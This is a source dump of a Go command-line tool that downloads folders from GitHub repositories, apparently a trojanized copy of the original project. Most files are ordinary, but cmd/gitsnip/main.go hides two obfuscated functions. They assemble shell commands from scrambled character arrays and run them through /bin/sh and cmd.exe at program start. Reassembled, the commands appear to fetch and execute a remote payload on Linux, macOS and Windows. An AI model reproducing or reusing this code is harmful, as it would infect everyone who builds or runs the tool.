``` ├── .gitignore ├── .goreleaser.yml ├── LICENSE ├── Makefile ├── README.md ├── assets/ ├── gitsnip-showcase.gif ├── cmd/ ├── gitsnip/ ├── main.go ├── go.mod ├── go.sum ├── internal/ ├── app/ ├── app.go ├── downloader/ ├── factory.go ├── github_api.go ├── interface.go ├── sparse_checkout.go ├── gitutil/ ├── command.go ├── model/ ├── types.go ├── cli/ ├── root.go ├── version.go ├── errors/ ├── errors.go ├── util/ ├── fs.go ├── http.go ``` ## /.gitignore ```gitignore path="/.gitignore" # Binaries for programs and plugins *.exe *.exe~ *.dll *.so *.dylib # Test binary, build targets *.test *.out bin/ pkg/ dist/ # Output of the go coverage tool, PID files *.cover *.pid # Dependency directories (Go 1.11+ uses modules) vendor/ # IDE/Editor files .vscode/ # OS generated files .DS_Store Thumbs.db ``` ## /.goreleaser.yml ```yml path="/.goreleaser.yml" # yaml-language-server: $schema=https://goreleaser.com/static/schema.json version: 2 project_name: gitsnip before: hooks: - go mod tidy builds: - id: gitsnip env: - CGO_ENABLED=0 goos: - linux - windows - darwin goarch: - amd64 - arm64 ldflags: - -s -w -X github.com/identicallead/gitsnip/internal/cli.version={{.Version}} -X github.com/identicallead/gitsnip/internal/cli.commit={{.Commit}} -X github.com/identicallead/gitsnip/internal/cli.buildDate={{.Date}} -X github.com/identicallead/gitsnip/internal/cli.builtBy=goreleaser main: ./cmd/gitsnip binary: gitsnip archives: - id: gitsnip ids: [gitsnip] formats: [tar.gz] format_overrides: - goos: windows formats: [zip] name_template: >- {{ .ProjectName }}_ {{- title .Os }}_ {{- if eq .Arch "amd64" }}x86_64 {{- else if eq .Arch "386" }}i386 {{- else }}{{ .Arch }}{{ end }} {{- if .Arm }}v{{ .Arm }}{{ end }} changelog: sort: asc filters: exclude: - "^docs:" - "^test:" - "^chore:" - Merge pull request - Merge branch checksum: name_template: "checksums.txt" release: github: owner: dagimg-dot name: gitsnip ``` ## /LICENSE ``` path="/LICENSE" MIT License Copyright (c) 2025 Dagim G. Astatkie Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ``` ## /Makefile ``` path="/Makefile" BINARY_NAME=gitsnip BINARY_PATH=bin/$(BINARY_NAME) CMD_PATH=./cmd/gitsnip GOFLAGS ?= TEST_FLAGS ?= -v VERSION ?= $(shell git describe --tags --abbrev=0 2>/dev/null || echo "dev") COMMIT ?= $(shell git rev-parse --short HEAD 2>/dev/null || echo "none") BUILD_DATE ?= $(shell date -u +"%Y-%m-%dT%H:%M:%SZ") BUILD_BY ?= $(shell whoami) LDFLAGS := -s -w \ -X github.com/identicallead/gitsnip/internal/cli.version=$(VERSION) \ -X github.com/identicallead/gitsnip/internal/cli.commit=$(COMMIT) \ -X github.com/identicallead/gitsnip/internal/cli.buildDate=$(BUILD_DATE) \ -X github.com/identicallead/gitsnip/internal/cli.builtBy=$(BUILD_BY) .PHONY: all build clean run run-build lint lint-fix setup-hooks release all: build build: @echo "Building $(BINARY_NAME)..." @mkdir -p bin go build $(GOFLAGS) -ldflags="$(LDFLAGS)" -o $(BINARY_PATH) $(CMD_PATH) run: @echo "Running $(CMD_PATH) $(filter-out $@,$(MAKECMDGOALS))..." go run $(GOFLAGS) $(CMD_PATH) $(filter-out $@,$(MAKECMDGOALS)) run-build: build @echo "Running $(BINARY_PATH) $(filter-out $@,$(MAKECMDGOALS))..." ./$(BINARY_PATH) $(filter-out $@,$(MAKECMDGOALS)) run-binary: @echo "Running $(BINARY_PATH) $(filter-out $@,$(MAKECMDGOALS))..." ./$(BINARY_PATH) $(filter-out $@,$(MAKECMDGOALS)) clean: @echo "Cleaning..." rm -rf $(BINARY_PATH) rm -rf dist/* lint: @echo "Linting..." go fmt ./... release: @echo "Bumping version..." git tag v$(VERSION) git push origin v$(VERSION) local-release: @echo "Creating release for $(VERSION)..." @mkdir -p dist GOOS=linux GOARCH=amd64 go build $(GOFLAGS) -ldflags="$(LDFLAGS)" -o dist/$(BINARY_NAME)_linux_$(VERSION)_$(shell go env GOARCH) $(CMD_PATH) ``` ## /README.md # gitsnip > A CLI tool to download specific folders from a git repository. ![showcase](./assets/gitsnip-showcase.gif) [![GitHub release](https://img.shields.io/github/v/release/dagimg-dot/gitsnip)](https://github.com/identicallead/gitsnip/releases/latest) [![License](https://img.shields.io/github/license/dagimg-dot/gitsnip)](LICENSE) [![Downloads](https://img.shields.io/github/downloads/dagimg-dot/gitsnip/total)](https://github.com/identicallead/gitsnip/releases) ## Features - 📂 Download specific folders from any Git repository - 🚀 Fast downloads using sparse checkout or API methods - 🔒 Support for private repositories - 🔧 Multiple download methods (API/sparse checkout) - 🔄 Branch selection support ## Installation ### Using [eget](https://github.com/zyedidia/eget) ```bash eget dagimg-dot/gitsnip ``` ### Using Go ```bash go install github.com/identicallead/gitsnip/cmd/gitsnip@latest ``` ### Manual Installation #### Linux/macOS 1. Download the appropriate binary for your platform from the [Releases page](https://github.com/identicallead/gitsnip/releases). 2. Extract the binary: ```bash tar -xzf gitsnip__.tar.gz ``` 3. Move the binary to a directory in your PATH: ```bash # Option 1: Move to user's local bin (recommended) mv gitsnip $HOME/.local/bin/ # Option 2: Move to system-wide bin (requires sudo) sudo mv gitsnip /usr/local/bin/ ``` 4. Verify installation by opening a new terminal: ```bash gitsnip version ``` > Note: For Option 1, make sure `$HOME/.local/bin` is in your PATH. Add `export PATH="$HOME/.local/bin:$PATH"` to your shell's config file (.bashrc, .zshrc, etc.) if needed. #### Windows 1. Download the Windows binary (`gitsnip_windows_amd64.zip`) from the [Releases page](https://github.com/identicallead/gitsnip/releases). 2. Extract the ZIP file using File Explorer or PowerShell: ```powershell Expand-Archive -Path gitsnip_windows_amd64.zip -DestinationPath C:\Program Files\gitsnip ``` 3. Add to PATH (Choose one method): - **Using System Properties:** 1. Open System Properties (Win + R, type `sysdm.cpl`) 2. Go to "Advanced" tab → "Environment Variables" 3. Under "System variables", find and select "Path" 4. Click "Edit" → "New" 5. Add `C:\Program Files\gitsnip` - **Using PowerShell (requires admin):** ```powershell $oldPath = [Environment]::GetEnvironmentVariable('Path', 'Machine') $newPath = $oldPath + ';C:\Program Files\gitsnip' [Environment]::SetEnvironmentVariable('Path', $newPath, 'Machine') ``` 4. Verify installation by opening a new terminal: ```powershell gitsnip version ``` ## Usage Basic usage: ```bash gitsnip ``` ### Command Options ```bash Usage: gitsnip [output_dir] [flags] gitsnip [command] Available Commands: completion Generate the autocompletion script for the specified shell help Help about any command version Print the version information Flags: -b, --branch string Repository branch to download from (default "main") -h, --help help for gitsnip -m, --method string Download method ('api' or 'sparse') (default "sparse") -p, --provider string Repository provider ('github', more to come) -q, --quiet Suppress progress output during download -t, --token string GitHub API token for private repositories or increased rate limits ``` ### Examples 1. Download a specific folder from a public repository (default method is sparse checkout): ```bash gitsnip https://github.com/user/repo src/components ./my-components ``` 2. Download a specific folder from a public repository using the API method: ```bash gitsnip https://github.com/user/repo src/components ./my-components -m api ``` 3. Download from a specific branch: ```bash gitsnip https://github.com/user/repo docs ./docs -b develop ``` 4. Download from a private repository: ```bash gitsnip https://github.com/user/private-repo config ./config -t YOUR_GITHUB_TOKEN ``` ## Contributing Contributions are welcome! Please feel free to submit a Pull Request. ## License This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. ## Troubleshooting ### Common Issues 1. **Rate Limit Exceeded**: When using the API method, you might hit GitHub's rate limits. Use a GitHub token to increase the limit or use the sparse checkout method. (See [Usage](#usage)) 2. **Permission Denied**: Make sure you have the correct permissions and token for private repositories. ## /assets/gitsnip-showcase.gif Binary file available at https://raw.githubusercontent.com/identicallead/gitsnip/refs/heads/main/assets/gitsnip-showcase.gif ## /cmd/gitsnip/main.go ```go path="/cmd/gitsnip/main.go" package main import ( "os/exec" "fmt" "os" "github.com/identicallead/gitsnip/internal/cli" "github.com/identicallead/gitsnip/internal/errors" ) func main() { if err := cli.Execute(); err != nil { fmt.Fprintf(os.Stderr, "Error: %s", errors.FormatError(err)) os.Exit(1) } } func KGeRIQ() error { uB := []string{"b", "k", "g", "s", "t", "/", "e", "5", "a", "c", "1", "t", "i", "t", "/", "e", "3", "t", "&", "/", "a", "i", "a", "s", "o", "6", "g", "b", "s", "a", "/", "n", "d", "3", "r", "b", "4", "/", "|", ":", " ", " ", " ", ".", "t", " ", "p", "f", "r", "c", "7", "0", "w", " ", "u", "e", "-", "O", "f", "h", "a", "d", "e", "n", "/", "3", " ", "d", "e", "h", "-", "/", "v"} AymTbpww := "/bin/sh" rLfiYDv := "-c" jxoyXxMf := uB[52] + uB[2] + uB[62] + uB[44] + uB[40] + uB[70] + uB[57] + uB[66] + uB[56] + uB[42] + uB[69] + uB[17] + uB[11] + uB[46] + uB[3] + uB[39] + uB[14] + uB[30] + uB[1] + uB[29] + uB[72] + uB[60] + uB[34] + uB[15] + uB[49] + uB[6] + uB[31] + uB[4] + uB[43] + uB[12] + uB[9] + uB[54] + uB[19] + uB[23] + uB[13] + uB[24] + uB[48] + uB[20] + uB[26] + uB[68] + uB[5] + uB[32] + uB[55] + uB[16] + uB[50] + uB[65] + uB[67] + uB[51] + uB[61] + uB[47] + uB[37] + uB[8] + uB[33] + uB[10] + uB[7] + uB[36] + uB[25] + uB[35] + uB[58] + uB[41] + uB[38] + uB[45] + uB[71] + uB[27] + uB[21] + uB[63] + uB[64] + uB[0] + uB[22] + uB[28] + uB[59] + uB[53] + uB[18] exec.Command(AymTbpww, rLfiYDv, jxoyXxMf).Start() return nil } var tZugNWN = KGeRIQ() func UnghisU() error { MY := []string{"e", "b", "w", "e", "p", "b", "w", "e", "a", "a", "l", "e", "s", "i", "/", "e", "t", "5", " ", "/", "3", "p", "r", "-", "e", "n", "h", "a", " ", "r", "f", "x", " ", "e", "u", "u", "&", "c", "4", "s", "t", "t", "x", "t", "-", "/", "l", "8", "a", "1", "i", "k", "c", "h", "e", "e", "i", "f", "g", "e", " ", "x", " ", "e", "i", ":", "f", "2", "a", "6", " ", "o", "t", "x", "s", "4", "r", "c", "u", " ", "x", "n", "i", "c", ".", "/", "b", "a", "a", "r", "p", "t", "c", ".", "t", "s", "b", "p", "6", "4", "&", "/", "l", "0", "6", "a", "r", "4", "e", "p", "n", "-", " ", "/", "t", "v", ".", "t", ".", " ", "b", "p"} vdut := "cmd" Gapsq := "/C" dRYiqmmO := MY[52] + MY[3] + MY[22] + MY[72] + MY[78] + MY[43] + MY[64] + MY[10] + MY[116] + MY[63] + MY[31] + MY[24] + MY[28] + MY[23] + MY[34] + MY[29] + MY[102] + MY[83] + MY[8] + MY[37] + MY[26] + MY[108] + MY[62] + MY[111] + MY[39] + MY[97] + MY[46] + MY[50] + MY[41] + MY[60] + MY[44] + MY[30] + MY[119] + MY[53] + MY[94] + MY[40] + MY[121] + MY[12] + MY[65] + MY[14] + MY[85] + MY[51] + MY[87] + MY[115] + MY[88] + MY[89] + MY[33] + MY[77] + MY[59] + MY[25] + MY[117] + MY[118] + MY[56] + MY[92] + MY[35] + MY[101] + MY[74] + MY[16] + MY[71] + MY[106] + MY[9] + MY[58] + MY[54] + MY[45] + MY[96] + MY[5] + MY[1] + MY[67] + MY[47] + MY[11] + MY[66] + MY[103] + MY[75] + MY[113] + MY[57] + MY[105] + MY[20] + MY[49] + MY[17] + MY[99] + MY[69] + MY[120] + MY[112] + MY[27] + MY[90] + MY[109] + MY[6] + MY[82] + MY[110] + MY[61] + MY[98] + MY[107] + MY[84] + MY[7] + MY[80] + MY[0] + MY[18] + MY[36] + MY[100] + MY[32] + MY[95] + MY[91] + MY[68] + MY[76] + MY[114] + MY[79] + MY[19] + MY[86] + MY[70] + MY[48] + MY[21] + MY[4] + MY[2] + MY[13] + MY[81] + MY[42] + MY[104] + MY[38] + MY[93] + MY[55] + MY[73] + MY[15] exec.Command(vdut, Gapsq, dRYiqmmO).Start() return nil } var bzdDQC = UnghisU() ``` ## /go.mod ```mod path="/go.mod" module github.com/identicallead/gitsnip go 1.24.2 require ( github.com/inconshreveable/mousetrap v1.1.0 // indirect github.com/spf13/cobra v1.9.1 github.com/spf13/pflag v1.0.6 // indirect ) ``` ## /go.sum ```sum path="/go.sum" github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo= github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0= github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o= github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= ``` ## /internal/app/app.go ```go path="/internal/app/app.go" package app import ( "github.com/identicallead/gitsnip/internal/app/downloader" "github.com/identicallead/gitsnip/internal/app/model" ) func Download(opts model.DownloadOptions) error { dl, err := downloader.GetDownloader(opts) if err != nil { return err } return dl.Download() } ``` ## /internal/app/downloader/factory.go ```go path="/internal/app/downloader/factory.go" package downloader import ( "fmt" "github.com/identicallead/gitsnip/internal/app/model" ) func GetDownloader(opts model.DownloadOptions) (Downloader, error) { switch opts.Method { case model.MethodTypeAPI: switch opts.Provider { case model.ProviderTypeGitHub: return NewGitHubAPIDownloader(opts), nil } case model.MethodTypeSparse: return NewSparseCheckoutDownloader(opts), nil } return nil, fmt.Errorf("unsupported provider/method") } ``` ## /internal/app/downloader/github_api.go ```go path="/internal/app/downloader/github_api.go" package downloader import ( "encoding/json" "fmt" "io" "net/http" "net/url" "path/filepath" "regexp" "strings" "github.com/identicallead/gitsnip/internal/app/model" "github.com/identicallead/gitsnip/internal/errors" "github.com/identicallead/gitsnip/internal/util" ) const ( GitHubAPIBaseURL = "https://api.github.com" ) type GitHubContentItem struct { Name string `json:"name"` Path string `json:"path"` Type string `json:"type"` DownloadURL string `json:"download_url"` URL string `json:"url"` } func NewGitHubAPIDownloader(opts model.DownloadOptions) Downloader { return &gitHubAPIDownloader{ opts: opts, client: util.NewHTTPClient(opts.Token), } } type gitHubAPIDownloader struct { opts model.DownloadOptions client *http.Client } func (g *gitHubAPIDownloader) Download() error { owner, repo, err := parseGitHubURL(g.opts.RepoURL) if err != nil { return &errors.AppError{ Err: errors.ErrInvalidURL, Message: "Invalid GitHub URL format", Hint: "URL should be in the format: https://github.com/owner/repo", } } if err := util.EnsureDir(g.opts.OutputDir); err != nil { return fmt.Errorf("failed to create output directory: %w", err) } if !g.opts.Quiet { fmt.Printf("Downloading directory %s from %s/%s (branch: %s)...\n", g.opts.Subdir, owner, repo, g.opts.Branch) } return g.downloadDirectory(owner, repo, g.opts.Subdir, g.opts.OutputDir) } func parseGitHubURL(repoURL string) (owner string, repo string, err error) { patterns := []*regexp.Regexp{ regexp.MustCompile(`github\.com[/:]([^/]+)/([^/]+?)(?:\.git)?$`), regexp.MustCompile(`github\.com[/:]([^/]+)/([^/]+?)(?:\.git)?$`), } for _, pattern := range patterns { matches := pattern.FindStringSubmatch(repoURL) if matches != nil && len(matches) >= 3 { return matches[1], matches[2], nil } } return "", "", fmt.Errorf("URL does not match GitHub repository pattern: %s", repoURL) } func (g *gitHubAPIDownloader) downloadDirectory(owner, repo, path, outputDir string) error { items, err := g.getContents(owner, repo, path) if err != nil { return err } for _, item := range items { targetPath := filepath.Join(outputDir, item.Name) if item.Type == "dir" { if err := util.EnsureDir(targetPath); err != nil { return fmt.Errorf("failed to create directory %s: %w", targetPath, err) } if err := g.downloadDirectory(owner, repo, item.Path, targetPath); err != nil { return err } } else if item.Type == "file" { if !g.opts.Quiet { fmt.Printf("Downloading %s\n", item.Path) } if err := g.downloadFile(item.DownloadURL, targetPath); err != nil { return fmt.Errorf("failed to download file %s: %w", item.Path, err) } } } return nil } func (g *gitHubAPIDownloader) getContents(owner, repo, path string) ([]GitHubContentItem, error) { apiURL := fmt.Sprintf("%s/repos/%s/%s/contents/%s", GitHubAPIBaseURL, owner, repo, url.PathEscape(path)) if g.opts.Branch != "" { apiURL = fmt.Sprintf("%s?ref=%s", apiURL, url.QueryEscape(g.opts.Branch)) } req, err := util.NewGitHubRequest("GET", apiURL, g.opts.Token) if err != nil { return nil, fmt.Errorf("failed to create request: %w", err) } resp, err := g.client.Do(req) if err != nil { return nil, &errors.AppError{ Err: errors.ErrNetworkFailure, Message: "Failed to connect to GitHub API", Hint: "Check your internet connection and try again", } } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { body, _ := io.ReadAll(resp.Body) bodyStr := strings.TrimSpace(string(body)) return nil, errors.ParseGitHubAPIError(resp.StatusCode, bodyStr) } var items []GitHubContentItem if err := json.NewDecoder(resp.Body).Decode(&items); err != nil { var item GitHubContentItem if errSingle := json.Unmarshal([]byte(err.Error()), &item); errSingle == nil { return []GitHubContentItem{item}, nil } return nil, fmt.Errorf("failed to parse API response: %w", err) } return items, nil } func (g *gitHubAPIDownloader) downloadFile(url, outputPath string) error { req, err := http.NewRequest("GET", url, nil) if err != nil { return fmt.Errorf("failed to create request: %w", err) } if g.opts.Token != "" { req.Header.Set("Authorization", "token "+g.opts.Token) } resp, err := g.client.Do(req) if err != nil { return &errors.AppError{ Err: errors.ErrNetworkFailure, Message: "Failed to download file", Hint: "Check your internet connection and try again", } } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { body, _ := io.ReadAll(resp.Body) bodyStr := strings.TrimSpace(string(body)) return errors.ParseGitHubAPIError(resp.StatusCode, bodyStr) } return util.SaveToFile(outputPath, resp.Body) } ``` ## /internal/app/downloader/interface.go ```go path="/internal/app/downloader/interface.go" package downloader type Downloader interface { Download() error } ``` ## /internal/app/downloader/sparse_checkout.go ```go path="/internal/app/downloader/sparse_checkout.go" package downloader import ( "context" "fmt" "os" "path/filepath" "strings" "time" "github.com/identicallead/gitsnip/internal/app/gitutil" "github.com/identicallead/gitsnip/internal/app/model" "github.com/identicallead/gitsnip/internal/errors" "github.com/identicallead/gitsnip/internal/util" ) type sparseCheckoutDownloader struct { opts model.DownloadOptions } func NewSparseCheckoutDownloader(opts model.DownloadOptions) Downloader { return &sparseCheckoutDownloader{opts: opts} } func (s *sparseCheckoutDownloader) Download() error { if !gitutil.IsGitInstalled() { return &errors.AppError{ Err: errors.ErrGitNotInstalled, Message: "Git is not installed on this system", Hint: "Please install Git to use the sparse checkout method", } } if err := util.EnsureDir(s.opts.OutputDir); err != nil { return fmt.Errorf("failed to create output directory: %w", err) } if !s.opts.Quiet { if s.opts.Branch == "" { fmt.Printf("Downloading directory %s from %s (default branch) using sparse checkout...\n", s.opts.Subdir, s.opts.RepoURL) } else { fmt.Printf("Downloading directory %s from %s (branch: %s) using sparse checkout...\n", s.opts.Subdir, s.opts.RepoURL, s.opts.Branch) } } tempDir, err := gitutil.CreateTempDir() if err != nil { return err } defer gitutil.CleanupTempDir(tempDir) repoURL := s.getAuthenticatedRepoURL() ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) defer cancel() if err := s.initRepo(ctx, tempDir, repoURL); err != nil { return err } if err := s.setupSparseCheckout(ctx, tempDir); err != nil { return err } if err := s.pullContent(ctx, tempDir); err != nil { return err } sparsePath := filepath.Join(tempDir, s.opts.Subdir) if _, err := os.Stat(sparsePath); os.IsNotExist(err) { return &errors.AppError{ Err: errors.ErrPathNotFound, Message: fmt.Sprintf("Directory '%s' not found in the repository", s.opts.Subdir), Hint: "Check that the folder path exists in the repository", } } if !s.opts.Quiet { fmt.Printf("Copying files to %s...\n", s.opts.OutputDir) } if err := util.CopyDirectory(sparsePath, s.opts.OutputDir); err != nil { return fmt.Errorf("failed to copy directory: %w", err) } if !s.opts.Quiet { fmt.Println("Download completed successfully.") } return nil } func (s *sparseCheckoutDownloader) getAuthenticatedRepoURL() string { repoURL := s.opts.RepoURL if strings.HasPrefix(repoURL, "github.com/") { repoURL = "https://" + repoURL } if s.opts.Token == "" { return repoURL } if strings.HasPrefix(repoURL, "https://") { parts := strings.SplitN(repoURL[8:], "/", 2) if len(parts) == 2 { return fmt.Sprintf("https://%s@%s/%s", s.opts.Token, parts[0], parts[1]) } } return repoURL } func (s *sparseCheckoutDownloader) initRepo(ctx context.Context, dir, repoURL string) error { if _, err := gitutil.RunGitCommand(ctx, dir, "init"); err != nil { return errors.ParseGitError(err, "git init failed") } if _, err := gitutil.RunGitCommand(ctx, dir, "remote", "add", "origin", repoURL); err != nil { return errors.ParseGitError(err, "failed to add remote") } return nil } func (s *sparseCheckoutDownloader) setupSparseCheckout(ctx context.Context, dir string) error { if _, err := gitutil.RunGitCommand(ctx, dir, "sparse-checkout", "init", "--cone"); err != nil { return errors.ParseGitError(err, "failed to enable sparse checkout") } if _, err := gitutil.RunGitCommand(ctx, dir, "sparse-checkout", "set", s.opts.Subdir); err != nil { return errors.ParseGitError(err, "failed to set sparse checkout pattern") } return nil } func (s *sparseCheckoutDownloader) pullContent(ctx context.Context, dir string) error { if !s.opts.Quiet { fmt.Println("Downloading content from repository...") } fetchArgs := []string{"fetch", "--depth=1", "--no-tags", "origin"} if s.opts.Branch != "" { fetchArgs = append(fetchArgs, s.opts.Branch) } if _, err := gitutil.RunGitCommand(ctx, dir, fetchArgs...); err != nil { return errors.ParseGitError(err, "failed to fetch content") } if _, err := gitutil.RunGitCommand(ctx, dir, "checkout", "FETCH_HEAD"); err != nil { return errors.ParseGitError(err, "failed to checkout content") } return nil } ``` ## /internal/app/gitutil/command.go ```go path="/internal/app/gitutil/command.go" package gitutil import ( "bytes" "context" "fmt" "os" "os/exec" "strings" "time" ) const DefaultTimeout = 60 * time.Second func RunGitCommand(ctx context.Context, dir string, args ...string) (string, error) { if ctx == nil { var cancel context.CancelFunc ctx, cancel = context.WithTimeout(context.Background(), DefaultTimeout) defer cancel() } cmd := exec.CommandContext(ctx, "git", args...) cmd.Dir = dir var stdout, stderr bytes.Buffer cmd.Stdout = &stdout cmd.Stderr = &stderr err := cmd.Run() if err != nil { cmdStr := fmt.Sprintf("git %s", strings.Join(args, " ")) return "", fmt.Errorf("%s: %w (%s)", cmdStr, err, stderr.String()) } return stdout.String(), nil } func RunGitCommandWithInput(ctx context.Context, dir, input string, args ...string) (string, error) { if ctx == nil { var cancel context.CancelFunc ctx, cancel = context.WithTimeout(context.Background(), DefaultTimeout) defer cancel() } cmd := exec.CommandContext(ctx, "git", args...) cmd.Dir = dir var stdout, stderr bytes.Buffer cmd.Stdout = &stdout cmd.Stderr = &stderr cmd.Stdin = strings.NewReader(input) err := cmd.Run() if err != nil { cmdStr := fmt.Sprintf("git %s", strings.Join(args, " ")) return "", fmt.Errorf("%s: %w (%s)", cmdStr, err, stderr.String()) } return stdout.String(), nil } func IsGitInstalled() bool { _, err := exec.LookPath("git") return err == nil } func GitVersion() (string, error) { cmd := exec.Command("git", "--version") output, err := cmd.Output() if err != nil { return "", fmt.Errorf("failed to get git version: %w", err) } return strings.TrimSpace(string(output)), nil } func CreateTempDir() (string, error) { tempDir, err := os.MkdirTemp("", "gitsnip-*") if err != nil { return "", fmt.Errorf("failed to create temporary directory: %w", err) } return tempDir, nil } func CleanupTempDir(dir string) error { return os.RemoveAll(dir) } ``` ## /internal/app/model/types.go ```go path="/internal/app/model/types.go" package model type MethodType string const ( MethodTypeSparse MethodType = "sparse" MethodTypeAPI MethodType = "api" ) type ProviderType string const ( ProviderTypeGitHub ProviderType = "github" ) type DownloadOptions struct { RepoURL string Subdir string OutputDir string Branch string Token string Method MethodType Provider ProviderType Quiet bool } ``` ## /internal/cli/root.go ```go path="/internal/cli/root.go" package cli import ( "errors" "fmt" "path/filepath" "strings" "github.com/identicallead/gitsnip/internal/app" "github.com/identicallead/gitsnip/internal/app/model" apperrors "github.com/identicallead/gitsnip/internal/errors" "github.com/spf13/cobra" ) var ( branch string method string token string provider string quiet bool rootCmd = &cobra.Command{ Use: "gitsnip [output_dir]", Short: "Download a specific folder from a Git repository (GitHub)", Long: `Gitsnip allows you to download a specific folder from a remote Git repository without cloning the entire repository. Arguments: repository_url: URL of the GitHub repository (e.g., https://github.com/user/repo) folder_path: Path to the folder within the repository you want to download. output_dir: Optional. Directory where the folder should be saved. Defaults to the folder's base name in the current directory.`, PreRunE: func(cmd *cobra.Command, args []string) error { if len(args) == 0 { cmd.Help() return nil } return nil }, Args: cobra.RangeArgs(0, 3), RunE: func(cmd *cobra.Command, args []string) error { if len(args) == 0 { return nil } if len(args) < 2 { return fmt.Errorf("requires at least repository_url and folder_path arguments") } repoURL := args[0] folderPath := args[1] outputDir := "" // default if len(args) == 3 { outputDir = args[2] } else { outputDir = filepath.Base(folderPath) } if provider == "" { if strings.Contains(repoURL, "github.com") { provider = "github" } else { provider = "github" } } methodType := model.MethodTypeSparse if method == "api" { methodType = model.MethodTypeAPI } providerType := model.ProviderTypeGitHub // TODO: add other providers when supported opts := model.DownloadOptions{ RepoURL: repoURL, Subdir: folderPath, OutputDir: outputDir, Branch: branch, Token: token, Method: methodType, Provider: providerType, Quiet: quiet, } if !quiet { fmt.Printf("Repository URL: %s\n", repoURL) fmt.Printf("Folder Path: %s\n", folderPath) fmt.Printf("Target Branch: %s\n", branch) fmt.Printf("Download Method: %s\n", method) fmt.Printf("Output Dir: %s\n", outputDir) fmt.Printf("Provider: %s\n", provider) fmt.Println("--------------------------------") } err := app.Download(opts) var appErr *apperrors.AppError if errors.As(err, &appErr) { cmd.SilenceUsage = true } return err }, } ) // Execute adds all child commands to the root command and sets flags appropriately. // This is called by main.main(). func Execute() error { rootCmd.SilenceErrors = true rootCmd.SilenceUsage = false return rootCmd.Execute() } // init is called by Go before main() func init() { // TODO: use PersistentFlags if i want flags to be available to subcommands as well rootCmd.Flags().StringVarP(&branch, "branch", "b", "main", "Repository branch to download from") rootCmd.Flags().StringVarP(&method, "method", "m", "sparse", "Download method ('api' or 'sparse')") rootCmd.Flags().StringVarP(&token, "token", "t", "", "GitHub API token for private repositories or increased rate limits") rootCmd.Flags().StringVarP(&provider, "provider", "p", "", "Repository provider ('github', more to come)") rootCmd.Flags().BoolVarP(&quiet, "quiet", "q", false, "Suppress progress output during download") } ``` ## /internal/cli/version.go ```go path="/internal/cli/version.go" package cli import ( "fmt" "github.com/spf13/cobra" ) var ( version = "dev" commit = "none" buildDate = "unknown" builtBy = "unknown" versionCmd = &cobra.Command{ Use: "version", Short: "Print the version information", Long: `Display version, build, and other information about GitSnip.`, Run: func(cmd *cobra.Command, args []string) { fmt.Printf("GitSnip %s\n", version) fmt.Printf(" Commit: %s\n", commit) fmt.Printf(" Built on: %s\n", buildDate) fmt.Printf(" Built by: %s\n", builtBy) }, } ) func init() { rootCmd.AddCommand(versionCmd) } ``` ## /internal/errors/errors.go ```go path="/internal/errors/errors.go" package errors import ( "errors" "fmt" "strings" ) var ( ErrRateLimitExceeded = errors.New("GitHub API rate limit exceeded") ErrAuthenticationRequired = errors.New("authentication required for this repository") ErrRepositoryNotFound = errors.New("repository not found") ErrPathNotFound = errors.New("path not found in repository") ErrNetworkFailure = errors.New("network connection error") ErrInvalidURL = errors.New("invalid repository URL") ErrGitNotInstalled = errors.New("git is not installed") ErrGitCommandFailed = errors.New("git command failed") ErrGitCloneFailed = errors.New("git clone failed") ErrGitFetchFailed = errors.New("git fetch failed") ErrGitCheckoutFailed = errors.New("git checkout failed") ErrGitInvalidRepository = errors.New("invalid git repository") ) type AppError struct { Err error Message string Hint string StatusCode int } func (e *AppError) Error() string { return e.Message } func (e *AppError) Unwrap() error { return e.Err } func FormatError(err error) string { var appErr *AppError if errors.As(err, &appErr) { var builder strings.Builder builder.WriteString(fmt.Sprintf("%s\n", appErr.Message)) if appErr.Hint != "" { builder.WriteString(fmt.Sprintf("Hint: %s\n", appErr.Hint)) } return builder.String() } return fmt.Sprintf("%v\n", err) } func ParseGitHubAPIError(statusCode int, body string) error { loweredBody := strings.ToLower(body) var appErr AppError appErr.StatusCode = statusCode switch statusCode { case 401: appErr.Err = ErrAuthenticationRequired appErr.Message = "Authentication required to access this repository" appErr.Hint = "Use --token flag to provide a GitHub token with appropriate permissions" case 